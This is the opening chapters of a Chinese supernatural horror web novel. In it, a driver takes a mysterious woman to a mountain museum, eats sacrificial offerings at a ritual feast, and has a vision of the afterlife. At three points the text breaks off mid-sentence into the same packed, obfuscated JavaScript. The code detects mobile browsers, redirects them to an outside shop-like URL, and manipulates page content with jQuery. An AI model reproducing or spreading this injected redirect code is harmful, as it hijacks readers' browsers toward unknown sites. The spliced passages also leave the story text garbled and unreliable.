《超自然寻回清单》
1. 山坡上的博物馆
“您心肠真好,好人有好报。”坐在副驾驶上的女人笑眯眯说。
外面下着大雨,不时落下一道雷来,轰隆隆地震响山野。
“没有,正好顺路。不过这么晚了,又在下雨,你怎么一个人在国道上走?幸好我反应快,不然很可能撞到你。”说话间,我侧头看了眼旁边气质独特的女人。
女人看上去年纪不大,面容十分精致,皮肤像瓷器一般细腻白皙找不到半点瑕疵,刚过下巴尖的乌黑短发整齐而垂顺,左腕戴着一串银色铃铛。她身上散发出不似人间物的气息。然而正是这点,让她本就好看的外表多了分神秘之美。
是我迄今为止所见过的、最惊艳卓尔的女性。
“能在今晚遇见,说不定冥冥之中有种缘分。”女人抱着一块用黑布包裹的长形物,粗看下大约三十公分长、十五公分厚。她目视前方,双手抱着物品自然垂放在腿上,优雅又端庄,“能告诉我您的名字吗?”
我笑起来,大方介绍自己:“我姓赵,叫赵义之。你呢?”
一道青蓝色的闪电撕裂漆黑的夜空,随后便炸响了雷声。
雨刮器奋力挥动着,却也只是勉强赶上雨落在挡风玻璃上的速度。车内放着音乐,是点火通电后手机自动连接蓝牙开始播放的,最近他喜欢的抒情歌。
可是雷雨声太大,几乎盖过乐曲的旋律。
明天是外公的八十大寿,几天前和家里说好要回去,于是傍晚一下班我就开车往回赶。
老家距离我现在定居的城市大约有百来公里,开车走一段高速后再转向国道行驶四十分钟,不堵车的情况下两个小时内能到。很近,但我不常回去。
雨是车上高速走了约莫一半路程时开始下的,来得急切又猛烈,我不得不放慢车速,使得车开上国道时天色已经变得晚了。双向四车道上车辆很少,或许是因为这大雨,又或许是因为饭点已过,该回家的大都已经回家了。
出发前随便往嘴里塞了块饼干,想着赶回家再吃,哪知道突然下起暴雨。此时腹中空落,不免急躁起来。
我瞄了眼仪表盘上显示的时间与时速,不耐烦地闪闪远光灯催促前面的车辆。但它无动于衷,我只好拨开转弯灯变向右边的车道,踩下油门提速超车。
发动机嗡地发出轰鸣,在车前脸即将超过隔壁白色轿车时,忽然,我看见有人穿过国道中间的绿化隔离带正在过马路。我紧急踩下刹车,心脏好似被猛地用力攥紧刹那间不再跳动。我甚至顾不上祈祷,只能浑身僵硬地握住方向盘一动不敢动。
下雨天路面积水的情况下踩急刹非常危险,如果轮胎的抓地力不够,车辆很可能会打滑,最坏的情况是车头偏移,在压过行人的同时车尾横甩将旁边的白色轿车撞上护栏,然后侧翻栽进路沟。
一祸三命。
幸好,车停下来了。我的心脏恢复跳动强烈撞击着胸骨。
白色轿车的车主似乎也被吓得不轻,愣了好几秒才慢慢从站在我车前的女人身边开过。
女人穿着一袭白色蕾丝连衣裙,在雨中撑着一把赤红的伞,被车头的远光灯一照,竟显得有几分妖异。
我用力拍响喇叭,以示自己的怒火,并催促她赶紧过去。
透过朦胧的雨,她转头看着我,像是致歉一般微微欠身,接着对我露出一个笑。
奇怪的事发生了,我的愤怒与惊魂未定顷刻间灰飞烟灭,油然而生的是难以名状的悸动。
随后,我顾不上翻找车里的雨伞拉开车门跑下去,邀请她上车,许诺将她送到目的地。在此,我需要郑重申明一点——本人绝不是个见色起意的肤浅男人。
“前面右转,顺着小路走。”女人先为我指了路,随后才回答问题,“您可以叫我阴女。”
很……特别的名字。
据她所说,她要去的是一座修建在山上的博物馆,为了赴五年一次的宴会。
我不禁为她感到担心:“博物馆怎么会建在山里。请你去的不会是什么可疑人员吧?你以前认识他吗?现在到处都是不安好心的人,出门要注意安全,尤其是女孩子,多留个心眼,可千万别被骗了。”
阴女笑起来,将左鬓的头发捋向耳后,动作神态特别妩媚:“那……希望我遇到危险的时候,赵先生能及时出现,就像刚才一样。”
暧昧、勾人。
我挑了一下眉,嘴角不经意勾起笑:“如果你愿意,我当然没意见。不过,最好还是别遇上危险。”
“果然,我没看错。”阴女又说,“您是个好人。”
我重重叹口气舒展身体:“只是运气不怎么好。”
她呵呵笑起来:“只是差一个契机。不过……”
阴女没再继续往下说,我转头看后视镜时,顺便也看了她一眼,笑着问:“不过什么?”
她只是笑。
我驾驶汽车穿过小镇开向前面不远处的一座小山坡。小镇名叫白龙,是个毫无特色随处可见的普通地方,唯一令人有记忆的点,是这里的鱼很好吃。我曾经带前前女友来吃过,她赞不绝口。
白龙镇距阴女要去的山坡其实不远,只是中间隔着一条河,白天有渡船往返两地。要开车上去,得从小镇的另一端走小路,大概绕个十来分钟。山坡上有座庙,庙里有我和前前女友挂的同心锁。我从没听说过什么时候修了个博物馆。
况且,博物馆开在这么偏僻的地方,真的有人来?
“前面就到了。”
大雨渺渺间,远光灯隐隐照出一栋黑漆漆的建筑物,如果不是阴女说出这句话,我甚至无法注意到那就是目的地。它没有半点光亮,融在树影之间,浑然不觉。说实在的,这副景象过于让人毛骨悚然了。
我不由得用余光瞥向阴女。还好,她还在。
将车停在所谓的博物馆门口——应该是门口,我转头对阴女说:“你确定这里有宴会?看起来不太像有人的样子。”
解开安全带的阴女想了想,歪着脑袋冲我笑:“确实不太像有人的样子。您愿意陪我进去吗?”
还用问吗,当然不愿意。
“要不……我还是送你回家吧。”我强挤出笑容,“女孩子来这种地方真的不安全。更何况你还是一个人,又在下雨,遇到点什么事警察都不一定能及时赶来。”
“可是……”阴女露出为难的表情,“我已经和馆主约好了。”
不不不,如果这里真的是座博物馆,那馆长要么是隐姓埋名穷凶极恶的大混账,要么不是人。
咚咚。
驾驶室的车窗忽然从外面被敲响。这好比午夜时分我路过一片坟场,心惊胆战地提防着随时可能出现的可怕景象,双腿一边发抖一边坚强地迅速走出去。然后在长舒一口气放下戒备的时候,长发飘飘的红衣女鬼突然倒吊着与我脸对脸。
我被吓得惨叫一声。
阴女咯咯笑起来:“不用这么害怕,是馆主。”她说完便拉开车门撑伞下了车,“馆主,是我送肉来了。”
在我的惊魂未定中,阴女弯腰向车内的我说了声“我在馆内等您”,随后关上车门走了。
远光灯照见她与所谓馆主的身影,以及博物馆那对雕刻着奇怪花纹的红色双开大木门。
我坐在车里久久回不过神,寒意像海岸边的浪,一阵一阵涌上来。
或是因为下大雨的缘故,四周只有夹杂着雷鸣的哗哗雨声,和音响里反复播放的同一首抒情歌。这一切像梦魇般不真实,我的眼中所见、我的耳中所闻、我的身体所感,比那海市蜃楼更虚无。
我明白现在最该做的是立刻开车离开,绝不能犹豫半分。
汽车没有熄火,只是挂在停车档上,现在迅速挂后退档倒车,我就能立刻离开这个鬼地方。
然而阴女关上车门前的那句话却久久回响在我耳边。
我在馆内等您。
仿如有种无形的力量催动着我的身心,让我忽略大脑发出的危险警示,想冲破被暴雨模
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248774|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
糊的挡风玻璃,闯入眼前这座诡异的博物馆。
我不该拉起手刹,更不该解开安全带开门下车。
我大概是疯了,才会这么做。
站在博物馆的红色大门前,身体冷得不知雨水的温度。我很确定自己的思维是清晰的,更没有莫名其妙的好奇心,可偏偏这具身体不受控制。
它不受我的控制。
牵着我、推着我,非要让我走进这栋建筑物的无形力量温柔又强大,将我的灵魂穿上线,随意操控。
终于,我的手颤颤巍巍抬起来,按下门铃。
一股巨大的力量撞破大门,混合着血腥味的气息扑在我身上。幽暗中,有一只看不清全貌的怪物蠕动着,仿佛刚从深渊中爬出来,正饥肠辘辘四处觅食。而我,作死的我,把自己当作美味佳肴献给了它。
我转身想逃命,一条满是倒刺的猩红口器刺穿我的身体,将我拖入无限黑暗里吞噬殆尽。
吱呀。
红色雕花大门从里面打开,幽香带着暖意拂我面,将我从惊悚的幻想中救出来。
一个男人出现在门后,安静得没有一点脚步声。借由车上没熄灭的大灯,我认出他就是刚才敲车窗的馆主。
“什么事?”男人开口了。声音有些沉,有些冷。
他戴着黑色椭圆墨镜,身形消瘦,脸上露出的皮肤显得比常人苍白些许,尽管与绝大多数普通男性相比他的头发长太多,但他并没有放任不管,而是整齐地梳在脑后绑起来。他身上的深绀色中山装偏长,遮过膝盖。纽扣像呢大衣上面的羊角样式,但比之小不少,整列在偏左一点的位置——我的左边。上衣用金线绣着一条双头蛇。就蛇本身而言无疑是畸形的,不过纹样经过设计,由左胸延展至肩膀,倒是并不怪异。
香味似乎正是从他身上传来的,确定这件事的瞬间,我不再对眼前黑暗的博物馆感到恐惧。
“呃那个,宴会我能参加吗?我肚子饿了。”我厚着脸皮开口。要是在平时,我绝对不会这么做。
“回去,这不是你该来的地方。”馆主的声音没有任何起伏,如同他整个人平静的气场一样。
他说完话不等我回答,便要关门。我迅速伸脚卡在门缝间,阻止自己吃闭门羹的同时疼得呲牙咧嘴。
“脚、脚!我的脚!你夹我脚了!”
没错,我赵义之有时候就是这么不要脸。
馆主再次拉开门,态度依旧是那么波澜不惊:“我再说一次,回去。你不该来这里。”
他话音刚落,老天像是帮我发起抗议,一道闪电炸礼花般劈下来,紧跟的雷声几乎摇晃了整座山。而这数秒间的轰鸣后,世界彻底陷入黑暗。
我回头看向断电熄火的车,惊得目瞪口呆。要是此刻还坐在车里……不敢细想。
“你、你刚才看见了吧?”我激动地指着车的方向往馆主身上凑,“还好我没走,被这雷劈中不死也焦了,果然好人有好报,阿弥陀佛阿弥陀佛。”
馆主没有推开我,他的身体甚至像钉在原地的柱子,纹丝不动:“我眼睛看不见。”
原来是个瞎子。
“馆主。”阴女的声音从博物馆里传出来,“房间里的三位不介意赵先生留下来。”
我转头看向博物馆,只能看见无尽的幽暗中隐约浮现出的一张笑脸。
馆主沉默两秒,问阴女:“你问了?”
“做准备时提了一句。”阴女的语气中透着笑意,“也许这便是缘分。”
“那三位,想做什么?”
阴女眯眼呵呵一笑:“赵先生是个好人,一定是个好机缘。”
馆主没再赶我走,而是推着一扇门走到旁边:“进来吧。”
我当然不跟他客气:“多谢收留之恩,我借贵宝地休息一下,等不打雷了就走,绝不给几位添麻烦。”
在我从他身边跨过门走进博物馆时,他用仅有我们两人能听见的声音又说:“想活命,别抱好奇心。”
2. 献给神的珍味
我有个优点,就是没什么好奇心。
有时候好奇会带来一些机遇,所以我的运气向来不好。
啪嗒,馆主关上门。
博物馆内漆黑一片,只不时凭借玻璃窗外透进的蓝青色闪电勉强能照亮一点。我就像个瞎子,伸直手臂摸索着往前走,却又根本不知道该往哪里走。
“停电了?”我问。
难道宴会不需要任何光亮吗?
一只冰冷的手抓住我的右手腕,没有半点征兆。浸骨的寒意如同一圈一圈在黑暗中化开的涟漪,以那只手为中心将我困在其中。
心脏似过电般骤然收紧,刹那间,我双腿一软,跪下了。唯一还能感觉到的,唯有右手被那个抓我的东西往上提了一下。
“不是在这里休息,跟我走。”说话的是馆主。
顺着那只抓住我的手往上摸,柔软的衣服面料下是紧实的人类手臂,无比真实。我站起身小心问:“馆主是不是气虚?还容易盗汗?”
阴女噗嗤一声笑了。在视觉起不到任何作用的漆黑中,她轻柔的声音居然也显得有几分瘆人。
馆主没有回话,拉着我不知往哪里走。两道硬鞋底踩在木地板上的声音总是合不到同一个节奏上,我注意到了,试图说些什么有趣的话来缓解怪异的气氛。可无论我抛出多少话茬,馆主都不做回应,倒更显得是我不稳重。
可能馆主是个机器人吧,我想。
所以才假装瞎子将眼睛遮起来,毕竟假人的眼睛做得再好,也不可能与真的一样。
原来如此。
我清了清嗓,打趣问他:“你问市多久啦?”
这句话很奇怪,如果是我,一定会接一句“问什么市”。
可馆主没回答。我顿时失去了大部分兴趣,只能无奈解释:“就是问你年龄。”
走在前面的馆主在停下来的同时松开手,转身面对我:“这里是你休息的地方,有沙发。你随时可以离开。只是,倘若离开时听见钟声,要闭上眼睛,千万不能偷看。在此期间无论听见什么,都别乱跑。”
“你们这个博物馆真的从来都不开灯?”我弯腰试探着寻找沙发的位置。很快,手掌便触碰到木制的家具。
“没有灯。”
凭着窗外闪电的光,我确认沙发的位置后,坐上去,习惯性翘起二郎腿:“那蜡烛呢?蜡烛总有吧,这也太黑了。”
“有是有。”馆主说完这句便沉默了,似乎在想着什么。
他的语气中虽然依旧没有任何情绪,好似我这个人的存在不值得让他有情绪。
可我不习惯这种黑暗,当然,除了睡觉的时候。
怕他拒绝,我立刻竖起食指:“一根,我用来照个光。黑灯瞎火的不方便,万一我不小心撞坏了什么东西,你和我都难受。”
我在等他点头答应。
空气静默片刻,他才说:“可以给你用,但有个条件。不能对蜡烛许愿。”
“不过生日我许什么愿。”我笑了一下,“除非有蛋糕。”
“‘我想’、‘我要’、‘我希望’等,诸如此类的话都不能说。”
“说了会怎样?”
“愿望会以最残忍的方式实现。”
不知道是不是他故意要吓唬我,但我依然立刻闭上嘴,过了会儿才说:“放心吧,我没有那种不能做什么就越要去做的毛病。”
“我去拿。”
“哎,对了。”我立刻喊住他又说,“麻烦你顺便再帮我拿点水和吃的,谢了,我快饿死了。”
在我说完这句话后馆主才忽然停下脚步,说:“‘死’字说多了,真的会丢掉性命。”
我及时闭了嘴,深吸口气用力点了一下头:“嗯!我记住了,我长命百岁还是个大富豪!”
和许愿不同,这是一种吸引定律。
几分钟后,馆主曾远去的脚步声又渐渐靠近,回荡在长长的走廊里越来越响亮。他双手端着一个大木盘走回来,食物、水与蜡烛全放在上面。摇曳的火光映于他胸前,正好是蛇头的位置。金丝绣成的蛇纹本应和衣服布料一样是死物,可光晕蒙蒙间,那两只蛇头上的眼睛竟是陡然收缩变成了竖瞳,齐齐直勾勾与我对视。
奇怪的是我并未感到害怕。
“什么蛇有两个脑袋?”
馆主正弯腰将盘子放在沙发旁边的木茶几上,听见我这个问题,他并没有做出特别的反应,只是淡淡问:“什么猫有九条命?”
我脑筋一转:“没死过的猫。”
“如果水和食物不够……”他没有周到地将木盘里面的东西拿出来,只是放下了,“你只能忍一忍了。”
诚然,他也没有义务要那么周到。
我抓起盘子里的午餐肉罐头,愣了愣:“只有这个了吗?”
“嗯,这里不储存食物。”
“那你平时吃什么?”
馆主再次沉默了,片刻后才道:“好好休息。”
他离开了这个房间,剩我独自一人捧着午餐肉发愣。
我完全不好奇他们的宴会上究竟有多少美食——好吧,我承认,还是有一点好奇的。我打开罐头,闻了闻,拿起勺子。午餐肉虽然是熟的,但我从来不直接吃,这样未免有点浪费食材了,必然要经过牛油火锅的洗礼,才能激发它最大的美味。
显然目前的情况不容我太过矫情。
整座博物馆静得如同不属于这个纷扰混沌的世界,有种难以言表的纯净,唯一将两者联系在一起的,是勺子碰到金属罐的杂音。
如果说填满这个世界的是原始的欲望、是百种千样的痛苦、是如同氮气一般浓厚的迷茫,那这个地方,这个空间,一定不属于我所知道的世界,一定来自异界。
此刻的我宛若无家可归的流浪汉,躲在月光照不进的黑暗桥洞下,可怜地吃着仅剩的食物,两眼呆滞。
火光很快再次吸引我的目光。以常理,即使在门窗紧闭的屋子里,火苗仍会因为从各种缝隙间来回的气流而摇曳,它从不是静止的。可眼见烛台上的这一丝火苗却静止不动,无论是蜡烛本身还是烛台,都不见一丁点融化的蜡油痕迹。
很像为了预防火灾而改良的电子蜡烛。
我放下还剩一大半的午餐肉,向蜡烛上的火苗伸出手,试探着慢慢靠近,实实在在感到受到火焰的温度后才拿起蜡烛稍稍倾斜,尝试让蜡油滴在木盘上——在揭晓结果之前,请容我描述一下这支蜡烛的模样。
或许是受到火光暖调的影响,目前我所看见蜡烛的颜色偏黄。其直径与我的小拇指相等,大约7公分,长度超过了15公分,整体比平时家里用的普通蜡烛大许多,并且没有任何气味。
没有丝毫蜡的气味。
在这支蜡烛身上,我看不到有什么特别之处,以至于需要馆主特意叮嘱。
我将蜡烛放回它原本的位置,确认它不会在我松手后突然倒下,这才慢慢收回手。
是的,我刚才尝试让蜡油滴在木盘上,结果失败了。烛火无法融化周围的蜡。
我往后靠向木制沙发的背靠,手臂裸露的皮肤感受着木头的凉意,发了片刻的呆,随后猛然想起应该给家里打个电话报平安。我摸遍浑身上下,终于想了起来,手机还在车里。
平时,我绝不会犯这样的错,今晚好像一切都和平常不一样。我懊恼地狠狠拍打自己的脑袋,纠结半刻后站起来,整理好可能弄乱的发型,再次拿起蜡烛朝外面走。
没事的,只是去拿手机而已,并不是故意在博物馆里乱逛,不算作死。
沿着来时的走廊往回走,蜡烛微弱的火光照不了太宽的范围,我不得不贴着墙壁慢慢往前。
来的时候只是一味接受馆主的引导,即使窗外闪电偶尔照亮四周,我也无暇仔细观察环境。而现在,出于各种各样的原因,让我有闲暇四下打量。说是四下打量,其实也不过是凑近看了看墙壁与地面。
虽然我平时不怎么逛博物馆,对建筑风格也没兴趣,但我还是知道,为了预防火灾破坏文物,用木板铺满墙壁和地面都不是明智之举。尤其是这座博物馆建在山上,遇上火灾的风险远比其他地方高。
如我对这座博物馆的第一印象一般
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248775|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这里充满了违和感。
不知走了多长时间,蜡烛上的火苗竟是抖动几下,它终于从沉睡中醒过来。
外面的暴雨似乎停了,我听不见雨声,安静得像一切声音都被封禁在墙壁中。我只能听见自己的呼吸和心跳。
泠嘤。
远处隐隐传来悦耳的声响,空灵、干净。像是有人低声絮语,又像仙音缠绵清越。是弦乐声。我受此琴音指引,一步一步偏离原本该走的方向,不由自主循着耳中的音乐慢慢靠近。
音乐逐渐变得清晰,混着老人呵呵的笑声。最后我站在一扇虚掩的木门前,透过泄露出光明的门缝,朝里窥探。
我刚伸出脑袋,门便开了。
如白昼般金日高悬的强光刹那间夺走我的视力。我抬起手挡在脸前闭眼缓和很久,才试探着微微睁开眼。
房间……不,或许该称为大厅更贴切。鹅黄晨曦色的光充盈着大厅每个角落,即使是在物品放置之处也不见一寸阴影。
这种景象非常奇怪。
人所能看见的光,比如阳光、灯光,以及物体反射出的高光,全都只是“部分”,而更多的是物体在光照之下的反射。我眼前这种宛如光本身变成一件有实体的物品溢满某个空间的情况,比如丝绸、比如水流,实属不常见。我想,如果没有走进这间博物馆,我这辈子都不会看见这般圣景。
而我此刻被大厅散发出来的奇妙光辉包裹着,好似置身于温暖的水中,身心都十分愉悦舒服。这种舒服与生物的欲望无关,非常纯粹浓烈,是我从不曾感受过的,让我不禁希望就此融化在光里,哪怕再没有一丝自我。
我也,充满了违和感。
“既然来了,便过来一起坐吧。”
年老的声音传来,眨眼间我便来到大厅里——我不记得自己怎么进来的了。
大厅中央、光辉尤盛之处,有个正方形的席台,上面有三位白发苍苍的老人围着一件貌似香炉的青铜器盘腿而坐。他们身后摆放着屏风,一扇上面是吹凑,一扇上面是起舞,一扇上面是吟唱。
青铜器上冒着水汽,像是在烹饪什么东西。蛋白质的香味阵阵扑鼻而来,勾起我的口腹之欲。
馆主和阴女都不在。
“会不会不太好?”我口水长流,但还是保持着谨慎。
“门已开,进退皆是不难。”
“馆主……和阴女呢?”我鼓起勇气问。
三位老人捻着白色胡须笑起来,表情带了一抹不可说的神秘。
“那我坐一会儿。”我走上席台盘腿坐下,忘记是什么时候脱的鞋。
“正好,差不多了。”
老人话音落下,屏风前出现一名年轻男人,手里拿着细长的匕首。他走近青铜器,跪下来,用手中的细长匕首在里面划拉。随后又出现了三名年轻男人,手里各拿一副碗筷等在他身旁。拿匕首的男人回头,他们便递上前一只碗,盛好了,递碗的男人又接回来,送至一位老人的案桌上。
我愣愣地看着他们给老人送上满满一碗粉色的肉,情不自禁咽了口水。
有必要申明一点,我不是个贪吃的人。只怪那粉白色的肉闻上去实在过于鲜美,才让我也产生了一点人的欲望。
“剩下的,都给这位小朋友。”一位老人指了指我。
分肉的男人这才抬眸看过来,神情中稍稍有些惊讶:“可他是……”
“无妨,来即是缘,这食物该有他的一份。”
不得已,男人只好新添了一副碗筷,盛上青铜器中最后一点肉渣与汤汁,端给了我。
“谢谢师兄。”我准备放下手里的蜡烛伸手接碗筷,才发现,不知什么时候它已经熄灭了。
真是怪事。
许是见我半晌没接,男人将碗筷放在我面前的案桌上——至于我面前几时出现的这只桌子,我已经丝毫不在意了。
碗里飘来足以摄人心魄的香味,早已勾走我的心魂。我慢慢捧起碗,尝了口鲜美的汤汁,迫不及待夹起一筷子碎肉放入口中。
不需要咀嚼太多,粉白的肉就在口腔里化开。
3. 穿过了隧道
虽说是肉,却既不是瘦肉也不像肥肉,反倒有几分像广式双皮奶,是嫩滑而破碎的口感,又带一分淳厚。其味道十分朴实,没有掺杂任何香辛料,连盐也放得不多,正因如此才使得这碗肉咸鲜之余又回口甘甜。
我将浓稠的汤汁与肉一起喝进肚子,满足地舔干净嘴唇周围的残留,抬头正想询问这是哪种动物的肉,却发现满是金光的大厅不知何时已消失,三位老人以及那四名年轻的男子也随之不见。
剩下的,只有孤身一人的我与昏暗的走廊。
唯独遥远的尽头有一团光。
周围传来水珠滴在石板上的声音,带着空悠的回响,清脆而圆润。
眼前的走廊不知不觉变成一条阴暗的隧道,四周是爬满绿色苔藓的平滑石板。不知是谁修了这样的隧道,也不知是为了谁而修了这样的隧道,我带着茫然看向远处的光,觉得自己应该走过去。
老人与男子的面容在我的记忆中已然变得模糊,连那碗我认为格外美味的肉汤,我也想不起味道。我只记得自己开着车,行驶在暴雨的夜晚里,还差一点,就能到家了。
明天是外公的八十大寿,我给他老人家买了块普洱茶砖。
还有什么……
我好像还忘了什么重要的事……
吧嗒,吧嗒,是我光着的脚掌走在石板上的声音。
石板有些潮湿,想来是因为石壁漏水的缘故。我的所有困惑在滴水敲石凑响的轻灵之音中化为碎屑,随着脚步的一路往前,而徐徐落下留在石板上。
走出隧道,眼之所处尽是葱郁的草地,像地毯。我站在隧道口停留片刻,再次迈出脚步。与坚硬的石板不同,长满青草的泥土地十分柔软,经脚掌一踩,便凹陷了些许,又在脚掌离开后慢慢恢复。
我能很明确地感受到脚下的草地,以及每一次踩上去时,正好从趾缝间露出来的草叶。
风吹过来,带有一丝丝凉意。清新的空气从我的皮肤穿入体内,将陈年累月堆积起来的腌臜全部洗去。我的身体变得越来越轻盈,犹如终于摆脱了尘埃的束缚,回归到我本该属于的地方。
草地前方是一片粉色的花海,远远的,有个小女孩站在花海里向我招手。我深吸一口气,迫不及待走向她。
“你来了。”不等我开口问,小女孩先说话,“还记得我吗?”
我疑惑地看着小女孩仔细想了想。我好像见过她,可又想不起来她究竟是谁。
“我们已经好久好久没见啦。”小女孩笑起来,“你肯定不记得我了。”
她看上去也不过年约六七岁。
“我是你的文芷姐姐呀!”
我的确有个叫文芷的姐姐。
文芷姐姐比我大两岁。在我五岁的时候,她出车祸死了。
我惊讶地看着她:“文芷姐姐,你在这里干什么?”
穿着黑色连衣裙的文芷姐姐走过来牵起我的手:“玩啊。我们回家吧,爷爷奶奶还不知道你来了。”
“爷爷奶奶也在这里?”我低头看着她,任由她牵着我走。
“我们住在对面的山上。”小女孩伸手指着不远处的山,“你看,那是我们的房子。”
我顺着她手指的方向抬头看去。
花海之间有一条宽阔的碧蓝色大河,河对岸是高低起伏的青山。在那青山上,一座座木头搭建的房子错落排列于花海丛林间。而在青山后面,有一道弯弯的彩虹。
我被文芷姐姐牵着走到大河边。大河之上水光粼粼,清澈得能看见河底有小鱼在嬉戏。我左右看了看,这条河不见来处,亦是不见归路。
文芷姐姐先下了水,然后来拉我:“河不深的,我这么矮都可以走过去。有姐姐在,不怕。”
我低头看着美丽的河水,想象着冰凉的河水包裹双脚的感觉,丝毫没有恐惧。
“赵义之。”
微风之中,我听见有谁在叫我。
“赵义之。”
声音从我身后传来。
我回头去看。
粉色花海后、青草地之上,有个身穿深绀色中山装的男人笔直地站在那里,直直盯着我:“赵义之,不能过河。”
文芷姐姐忽然松开我的手:“快回去吧,你还不可以来这里。”
“为什么?”我看向文芷姐姐,疑惑地问,“我已经在这里了。”
文芷姐姐用力摇头:“但是你现在应该回去。”
我转头看了眼穿中山装的男人,不太确定:“我应该回去吗?”
“嗯!你先回去,到了时间再来。”
“那……好吧,我先回去。”
我向文芷姐姐道了别,朝穿中山装的男人走去。
男人身姿修长板正,面无表情等着我。走得近了我才看清的他的面容。
红润剔透的脸颊,红润剔透的唇。
柔和的面部之上是深邃而明媚的五官,宛如上天精心雕刻的一件杰作,连绑在脑后的卷曲灰棕色头发的纹理都是美的一部分,超越了男女之别,是看过第一眼后即使到死也无法忘怀的美。极具冲击力,却又不带任何侵略性,反而有着平淡的冷与疏离。
尤其是那双几近灰白的浅色眼瞳,冷淡之中又藏几分哀愁,定定看向某处时,如同剥开世界的伪装在看真理。
他看上去是那么的圣洁、神秘、矜持,不可方物,就像夜空中那一抹月光,高雅、纯净、忧郁,无法触及。
任凭谁见了,都会被他深深吸引沉醉其中,难以自拔。
美得,让神创造出这个世界,当做礼物送给了他。
“我不该将你独自留在房间。”男人抬起手,用食指点在我眉心。
愣神之后,我被一阵鸟叫声惊醒,又回到那间博物馆,站在走廊上。什么草地啊、花海啊,全都不见了。
走廊的玻璃窗外天已大亮。经过昨夜的暴雨,天空蓝得有些晃眼,不知名的鸟叫啊叫,此起彼伏像在开大会。
“赵先生回来了吗?”
我听见阴女的声音从下方传来,于是低头看去。
阴女跪坐在地板上,另一个我、另一个赵义之平躺在地上枕着她的双膝,她抚摸着那个赵义之的脸,目光看向旁边的馆主,好似不知道这个我的存在。
馆主仰起脸面朝我的方向,椭圆形的墨镜被他取下来拿在手里,那双浅灰色的眼睛直勾勾地盯着我的所在之处:“回来了。”
————
赵义之慢慢睁开眼,最先看见的是阴女面带微笑的脸。他吓了一跳,立刻坐起身来揉揉眼睛,找到掉在地上已然熄灭的蜡烛嘟囔道:“我怎么会睡在这儿?”
馆主戴好墨镜,从他手里拿走蜡烛站起身。
阴女握起拳头一边垂着自己的双腿一边故意皱眉说:“赵先生可让我担心坏了。”
赵义之露出抱歉的笑:“是我的错。”
“我叮嘱过你不要乱走。”馆主说。
赵义之在他声音里听不出半点埋怨或是生气,但他还是解释道:“我昨晚本来打算回车里拿手机,也不知道怎么就睡在这儿了。我反省,保证不再犯。”
馆主微微低下头,面向赵义之的方向问:“你吃供品了?”
赵义之茫然地摇头:“我只吃了你给我的午餐肉。”
“我该走了。”阴女缓缓站起身,理了理裙摆,将鬓边稍有凌乱的发丝挂到耳后,“馆主,五年后我再带着祭品来参加宴会。”
馆主向阴女的方向侧了头:“麻烦你了,五年后见。”
“赵先生。”阴女俯下身,指尖轻轻拂过赵义之的脸颊,“希望我们有缘再见。”
赵义之被迷得神魂颠倒,露出呆呆的笑:“下次见。”
阴□□雅地转身,离开了。
“那我也——”赵义之站起身也准备走。
现在出发的话,或许能赶得上外公的寿宴。
可肩上却落来一只手死死压住他的身体。
“你还不能走。”馆主打断了赵义之的话与动作。
赵义之看一眼肩膀上骨节微红白皙修长的手,尝试从馆主的手中挣脱出来,却反倒被抓得更紧。他不禁疑惑:“这是怎么个事?”
“你不能走。”馆主又重复一遍,用力抓住赵义之的肩不由分说往前走。
“我、我真的得走了。今天是我外公的生日,我要赶回去吃饭。”尽管馆主的手已经抓得十分用力,可赵义之却感受不到一丝疼痛,“噢,门票对不对?还有午餐肉的钱,多少?”
他这句话不是馆主想听的,所以馆主没有做出回应,无言地将他带到走廊尽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248776|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头的一个房间。
这是一间没有任何陈设的展厅,四壁之上雕着栩栩如生的古代人像石刻,着色颇具典雅的韵味。正中央有一块半米高的石台,外圆内方。怎么个方呢,就是像铜钱,中部是镂空的。而镂空之处有根石柱,稍高出石台些许,上面正正好放着一只青铜器。
赵义之见那青铜器眼熟,不禁咦了一声:“那东西是干嘛用的?我好像见过。”
馆主放开他,娓娓而道:“那是甗,是炊具也是礼器。殷商时期,用其来祭祀。”
“哦。”赵义之还没有意识到问题的严重。
“下方鬲中的水烧开后,蒸气通过篦子上升,将甑中的祭品蒸熟。”
“就是我们用的蒸锅嘛。”
馆主点点头,继续说:“祭品蒸熟后成为‘非此之物’,神便会享用。商朝以活人祭祀,所以甗中蒸的是人肉。”
相关的历史知识他多少还是有一些的,于是边听边点头:“到了西周活人祭祀才慢慢被废除。”
“昨晚的宴会正是一次祭祀。”馆主淡淡说,“而你吃了祭祀的供品。”
“我?”他不可置信,昨晚明明只吃了午餐肉,“你只给了我一罐午餐肉。”
